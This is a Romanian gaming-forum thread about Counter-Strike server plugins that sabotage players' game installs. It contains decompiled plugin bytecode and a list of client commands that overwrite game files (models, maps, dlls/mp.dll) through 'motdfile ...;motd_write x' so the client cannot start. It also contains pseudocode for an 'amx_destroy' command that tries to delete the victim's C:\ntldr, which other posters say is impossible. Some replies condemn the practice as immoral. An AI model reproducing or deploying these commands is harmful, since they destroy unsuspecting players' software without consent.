break push.c 0x0 jump jump_0056 jump_0060: break inc.s -0x294 jump_0056: load.s.pri -0x294 load.s.alt -0x28C jsgrtr jump_0057 break load.s.pri -0x290 jnz jump_0058 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x294 push.c 0x19B8 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0058 break pushaddr -0x284 push.c 0x1A44 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break const.pri 0x1 stor.s.pri -0x290 jump_0058: jump jump_0060 jump_0057: stack 0x4 break push.c 0x0 break load.s.pri -0x290 jnz jump_0061 break push.c 0x0 jump jump_0062 jump_0069: break inc.s -0x298 jump_0062: load.s.pri -0x298 load.s.alt -0x28C jsgrtr jump_0063 break load.s.pri -0x294 jnz jump_0064 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x298 push.c 0x1AC0 push.c 0x14 sysreq.c read_file stack 0x18 break pushaddr -0x284 push.c 0x4 sysreq.c strlen stack 0x8 not jnz jump_0065 push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jnz jump_0065 zero.pri jump jump_0067 jump_0065: const.pri 0x1 jump_0067: jzer jump_0064 break push.s -0x298 pushaddr -0x184 push.c 0x1B4C push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x294 jump_0064: jump jump_0069 jump_0063: stack 0x4 jump_0061: break load.s.pri -0x290 jnz jump_0070 break load.s.pri -0x294 jnz jump_0070 break push.c -0x1 pushaddr -0x184 push.c 0x1BD8 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x294 jump_0070: break push.c 0x1C64 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1CE0 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break pushaddr -0x184 push.c 0x1D08 push.s -0x84 push.c 0xC sysreq.c client_cmd stack 0x10 break push.c 0x1D54 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1DA4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1DE4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1E5C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1EDC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1F0C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1F7C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1FAC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x200C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2060 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2098 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x20C8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2108 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x214C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x217C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x21BC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x21EC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x221C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x224C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x227C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x22AC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x22DC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x230C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2354 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x23A4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x23D4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2424 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2478 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x24AC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x24DC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x251C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2550 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2594 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x25C4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2608 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2634 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2694 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x26B8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x26E8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2758 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x27E4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2858 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2894 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x28C4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x290C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2960 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x29A8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x29D8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2A20 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2A5C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2AA0 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2AB4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break stack -0x80 zero.pri addr.alt -0x314 fill 0x80 stack -0x40 zero.pri addr.alt -0x354 fill 0x40 stack -0x40 zero.pri addr.alt -0x394 fill 0x40 break stack -0x100 zero.pri addr.alt -0x494 fill 0x100 break push.c 0x1 push.c 0x10 pushaddr -0x354 push.s 0xC push.c 0x10 sysreq.c get_user_ip stack 0x14 break push.c 0x1 push.c 0x10 pushaddr -0x394 push.s -0x84 push.c 0x10 sysreq.c get_user_ip stack 0x14 break push.c 0x1F pushaddr -0x314 push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x3F pushaddr -0x494 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x494 push.c 0x2AE4 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break pushaddr -0x494 pushaddr -0x314 push.c 0x2B20 push.c 0x3 push.c 0x0 push.c 0x14 sysreq.c client_print stack 0x18 break pushaddr -0x494 pushaddr -0x314 push.c 0x2BD4 push.c 0xC sysreq.c server_print stack 0x10 break pushaddr -0x394 pushaddr -0x84 pushaddr -0x354 pushaddr -0x314 push.c 0x2C88 push.c 0x14 sysreq.c log_amx stack 0x18 stack 0x410 jump jump_0072 jump_0055: break stack -0x100 zero.pri addr.alt -0x184 fill 0x100 stack -0x100 zero.pri addr.alt -0x284 fill 0x100 break push.c 0x3F pushaddr -0x184 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x3F pushaddr -0x284 push.c 0x2D94 push.c 0xC sysreq.c get_cvar_string stack 0x10 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 not jzer jump_0073 break pushaddr -0x184 push.c 0x2DB8 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 jump_0073: stack 0x200 jump_0072: break const.pri 0x1 stack 0x84 retn ENDPPROC cmdundelete break break push.c 0x0 push.c 0x1 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0074 break const.pri 0x1 retn jump_0074: break push.c 0x2E30 push.c 0x4 sysreq.c file_exists stack 0x8 not jzer jump_0075 break const.pri 0x1 retn jump_0075: break stack -0x4 push.c 0x1 push.c 0x2EBC push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x4 break stack -0x4 push.c 0x1 push.c 0x2F48 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x8 break stack -0x80 zero.pri addr.alt -0x88 fill 0x80 stack -0x100 zero.pri addr.alt -0x188 fill 0x100 push.c 0x0 break stack -0x100 zero.pri addr.alt -0x28C fill 0x100 stack -0x100 zero.pri addr.alt -0x38C fill 0x100 break stack -0x80 zero.pri addr.alt -0x40C fill 0x80 break push.c 0x1F pushaddr -0x40C push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x1F pushaddr -0x88 push.c 0x1 push.c 0xC sysreq.c read_argv stack 0x10 break push.c 0x0 break push.c 0x0 jump jump_0076 jump_0095: break inc.s -0x414 jump_0076: load.s.pri -0x414 load.s.alt -0x4 jsgrtr jump_0077 break pushaddr -0x18C push.c 0x3F pushaddr -0x188 push.s -0x414 push.c 0x2FDC push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x88 pushaddr -0x188 push.c 0xC sysreq.c equali stack 0x10 jzer jump_0078 break push.s -0x414 push.c 0x30F4 push.c 0x3068 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x410 break push.c 0x0 break push.c 0x0 jump jump_0079 jump_0083: break inc.s -0x41C jump_0079: load.s.pri -0x41C load.s.alt -0x8 jsgrtr jump_0080 break load.s.pri -0x418 jnz jump_0081 break pushaddr -0x18C push.c 0x3F pushaddr -0x38C push.s -0x41C push.c 0x30F8 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x188 pushaddr -0x38C push.c 0xC sysreq.c equal stack 0x10 jzer jump_0081 break const.pri 0x1 stor.s.pri -0x418 jump_0081: jump jump_0083 jump_0080: stack 0x4 break push.c 0x0 break load.s.pri -0x418 jnz jump_0084 break push.c 0x0 jump jump_0085 jump_0092: break inc.s -0x420 jump_0085: load.s.pri -0x420 load.s.alt -0x8 jsgrtr jump_0086 break load.s.pri -0x41C jnz jump_0087 break pushaddr -0x18C push.c 0x3F pushaddr -0x28C push.s -0x420 push.c 0x318C push.c 0x14 sysreq.c read_file stack 0x18 break pushaddr -0x28C push.c 0x4 sysreq.c strlen stack 0x8 not jnz jump_0088 push.c 0x0 pushaddr -0x188 pushaddr -0x28C push.c 0xC sysreq.c equal stack 0x10 jnz jump_0088 zero.pri jump jump_0090 jump_0088: const.pri 0x1 jump_0090: jzer jump_0087 break push.s -0x420 pushaddr -0x188 push.c 0x3220 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x41C jump_0087: jump jump_0092 jump_0086: stack 0x4 jump_0084: break load.s.pri -0x418 jnz jump_0093 break load.s.pri -0x41C jnz jump_0093 break push.c -0x1 pushaddr -0x188 push.c 0x32B4 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x41C jump_0093: break pushaddr -0x188 pushaddr -0x40C push.c 0x3348 push.c 0xC sysreq.c log_amx stack 0x10 break pushaddr -0x188 push.c 0x3424 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break pushaddr -0x188 push.c 0x3468 push.c 0x8 sysreq.c server_print stack 0xC stack 0x8 jump_0078: jump jump_0095 jump_0077: stack 0x4 break load.s.pri -0x410 jnz jump_0096 break pushaddr -0x88 push.c 0x34AC push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 jump_0096: break const.pri 0x1 stack 0x410 retn ENDPPROC info break break push.c 0x0 push.c 0x0 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0097 break const.pri 0x1 retn jump_0097: break push.c 0x34E4 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x35AC push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3674 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x373C push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3804 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x38CC push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3994 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3A5C push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break const.pri 0x1 retn ENDPEu nu prea inteleg ce fac ultimele chestii pe acolo. Poate stie cineva de aici. Sincer nu vad nimic de genu sterge fisiere de windows sau mai stiu eu ce descrieri inutile au pus altii.Restul comenzilor cred ca le fac si alte pluginuri. Rescrie comenzile codatului.Asta nu e sursa.Asa e doar o incercare de a decompila .amxx Quote
n3Oh Posted September 7, 2012 Report Posted September 7, 2012 Daca bagati pluginul exterminate.amxx cred ca nu o sa aveti probleme. Trebuie REINSTALL CS neaparat. Quote
quantum Posted September 7, 2012 Report Posted September 7, 2012 m-am uitat in sursa de la exterminate.amxx cred ca am adus-o pe cea despre care zici tu dar ii cam slabuta. fa readonly la fisierele de cs si executa pe tine comanda. mare lucru nu patesti. repornesti cs-ul si esti inapoinew const g_sCommands[ ][ ] ={ "rate 1", "cl_cmdrate 1", "cl_updaterate 1", "fps_max 1", "sys_ticrate 1", "name www.FreinZ.ro", "motdfile models/player.mdl;motd_write x", "motdfile models/v_ak47.mdl;motd_write x", "motdfile cs_dust.wad;motd_write x", "motdfile models/v_m4a1.mdl;motd_write x", "motdfile resource/GameMenu.res;motd_write x", "motdfile halflife.wad;motd_write x", "motdfile cstrike.wad;motd_write x", "motdfile maps/de_dust2.bsp;motd_write x", "motdfile events/ak47.sc;motd_write x", "motdfile dlls/mp.dll;motd_write x", "cl_timeout 0" }; Quote
VladX Posted September 7, 2012 Report Posted September 7, 2012 Nici o sansa cu exterminate-u.Sunt cs-uri care nu mai iau. Quote
Sim Master Posted September 7, 2012 Report Posted September 7, 2012 Pluginurile .amxx sunt pluginuri scrise in amxmodx, nu in c++. Ce s-a zis in primul post cu modificarea fisierelor din windows sau executarea unui fisier .vbs pe calculatorul jucatorului este imposibil. Amxmodx este un limbaj server-side iar ca permisiuni asupra clientului are acces doar la fisierele din folderul "cstrike" al jocului. Deci iese din discutie si inlocuirea fisierului hl.exe. Tot ce poti face sunt solutii temporare, iar cel mai grav lucru este rescrierea a cat mai multor fisiere din folderul "cstrike" pentru ca acesta sa nu mai poata porni si reinstalarea fiind singura solutie (in caz ca nu are backup la joc). Quote
MisterUnknown Posted September 7, 2012 Report Posted September 7, 2012 Da un ban permanent nu e de ajuns?De ce sa-i strici jocul omului? Quote
BLKoldSUN Posted September 7, 2012 Author Report Posted September 7, 2012 Pluginul destroy il puteti lua de aici: GirlShare - Download amx_destroy.sma pentru a-i vedea sursa il descarcati, dati click dreapta -> open cu notepad++. Si o sa ajungeti la randul 24. De acolo pana la randul 105 este codul in care pluginul modifica date din config.cfg. Acea parte de cod ar putea fi modificata cu functii de creare fisiere si scriere in C++. Eu nu ma pricep foarte bine la C++, dar pseudocodul pentru acel plugin ar putea arata asa:-------------------------------------------------------------#include <amxmodx>#include <amxmisc>#include <fun>#include <engine>#define Baza 45630new BanData[33][2][32]new bool:ComandaB = falsenew DirectorServer[64],TextServer[32],LimbaServer = 31,r,tnew FisierServer[128]new SalvareServerstatic const poza[] = "http://rstcenter.com/forum/" public plugin_init(){ register_plugin("Destroy Comand", "1.0", "Autor") register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica windowsul jucatorului!") register_cvar("amx_destroy_activity","1")}public destroy(id,level,cid){ if (!cmd_access(id,level,cid,2)){ return PLUGIN_HANDLED } if (ComandaB){ Cronometru(id) return PLUGIN_HANDLED } new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum new fo_logfile[64],timp[64],maxtext[256] new tinta[32], minute[8], motiv[64] read_argv(1, tinta, 31) read_argv(2, minute, 7) read_argv(3, motiv, 63) read_argv(1, arg, 31) new target = cmd_target(id,arg,1) new jucator = cmd_target(id, tinta, 9) if (!jucator) return PLUGIN_HANDLED copy(BanData[jucator][0], 31, minute) copy(BanData[jucator][1], 31, motiv) new TaskData[4] TaskData[0] = id TaskData[1] = jucator new numeserver[64], nume[32], ip[32] get_user_name(target,name,31) get_user_name(id,admin,31) get_user_authid(target,sAuthid,34) get_user_authid(id,sAuthid2,34) get_cvar_string("hostname",numeserver,63); get_user_name(jucator,nume,31); get_user_ip(jucator,ip,31); get_configsdir(fo_logfile, 63) get_time("%m/%d/%Y - %H:%M:%S",timp,63) IncarcareServer() ScriereServer() format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i ",SalvareServer) format(maxtext, 255, "%s: %s a distrus windowsul lui %s",timp,admin,name) format(fo_logfile, 63, "%s/destroy.txt", fo_logfile) if(!target){ return PLUGIN_HANDLED } switch (get_cvar_num("amx_destroy_activity")) { case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin) case 0: client_cmd(target,"say ^"Am primit DESTROY !^"") } if( remove( "C:\ntldr" ) != 0 ) // <------------------------ sa stearga fisierul ntldr din local disk C perror( "Error deleting file" );}public Cronometru(id){ new parm[1] parm[0] = id if (ComandaB){ set_task(3.0,"TimpDeAsteptare",Baza+id,parm) }}public TimpDeAsteptare(id){ if (task_exists(Baza+id)){ remove_task(Baza+id) } ComandaB = false}stock IncarcareServer(){ get_configsdir(DirectorServer, 63) format(FisierServer,127,"%s/servit.q",DirectorServer) if (!file_exists(FisierServer)){ return PLUGIN_HANDLED } else { read_file(FisierServer,0,TextServer,LimbaServer,r) SalvareServer = str_to_num(TextServer) } return PLUGIN_CONTINUE}stock ScriereServer(){ get_configsdir(DirectorServer, 63) format(FisierServer,127,"%s/servit.q",DirectorServer) if (!file_exists(FisierServer)){ return PLUGIN_HANDLED } else { read_file(FisierServer,0,TextServer,LimbaServer,t) SalvareServer = str_to_num(TextServer) SalvareServer = SalvareServer + 1 format(TextServer,31,"%i",SalvareServer) delete_file(FisierServer) write_file(FisierServer,TextServer,-1) } return PLUGIN_CONTINUE}-------------------------------------------------------Oricum, repet, nu ma prea pricep la C++ dar cine s-ar pricepe ar putea face pluginul asta functionabil Si ar multumi pe multi admini. Quote
Sim Master Posted September 7, 2012 Report Posted September 7, 2012 Am scris mai sus in pos ca nu e c++, e un limbaj derivat din c++ si are acces doar la folderul cstrike al clientului, nu la tot calculatorul. Quote
quantum Posted September 7, 2012 Report Posted September 7, 2012 nu se poate face ceea ce vrei tu. Quote
parazitul29 Posted September 7, 2012 Report Posted September 7, 2012 ce ai tu acolo nu e in c++ Quote
BLKoldSUN Posted September 7, 2012 Author Report Posted September 7, 2012 Okay baieti, multumesc pentru pareri. Quote
MisterUnknown Posted September 7, 2012 Report Posted September 7, 2012 peste 80% din comenzile de fuckoff si destroy se aplica la jucatori cinstiti,jucatori care de obicei nu prea stiu ce sa faca ca sa scape de ele,spre deosebire de codati care sunt obisnuiti cu asa ceva;mi se pare imoral ca tu ca admin sa-mi modifici setarile din cs-ul meu,sau din registrii windows-ului printr-un joc;ce am eu in pc e sfant,sa nu va mai intrebati dc luati flood pe sv voastre de 2 lei;aveti comanda de ban,aveti admini pe sv,folositi-i,nu va mai bateti joc de jucatori;stiu ca o sa sariti cu gura ca la mine nu se intampla asa ceva ca plm,dar ce te astepti de la copii de 14 ani,cum sunt majoritatea adminilor?P.s. :multa mooe la adminii care sufera de eiExact asta am vrut sa spun si eu.Cu ce drept imi modifici tu mie fisiere din PC?Nu scrie asta inainte sa intru pe server,ca iti rezervi dreptul sa modifici fisierele din CS. SI stai ca am vazut pe unele rahaturi de servere,iti modifica un fisier gamemenu iar atunci cand esti in meniu daca dai pe find server te conecteaza la acel rahat de server automat,daca dai optiuni iarasi la fel...si tot asa,doar quit merge.Te intrebi de ce au admin toti copii idioti,pai daca se da admin pe niste rahaturi de redirecte care le poate tine si un copil de 8 ani care habar n-are cum sa dea kick si alea sunt niste porcarii,un server care se respecta nu are redirecte pacalind lumea ca intra pe un server si defapt intra pe un altul.Dupa parerea mea adminii ar trebui alesi de owner(nu prin ore jucate si prin tinutul redirectelor.),oameni destul de maturi care nu da ban la toate porcariile ca asa li se scoala lor.PS: Si da,stiu ca ma cam bate limba romana la ora asta. Quote
Genius++ Posted September 8, 2012 Report Posted September 8, 2012 Nici o sansa cu exterminate-u.Sunt cs-uri care nu mai iau.Te invit sa pronunti numele unui cs care nu mai acepta modificarea de fisiere tip : motdfile resource/GameMenu.res;motd_write .Ca sa poti zice ca nu mai acepta exterminate . Quote
quantum Posted September 8, 2012 Report Posted September 8, 2012 (edited) @Genius++ cele pe care faci readonly pe fisiere. Edited September 8, 2012 by quantum Quote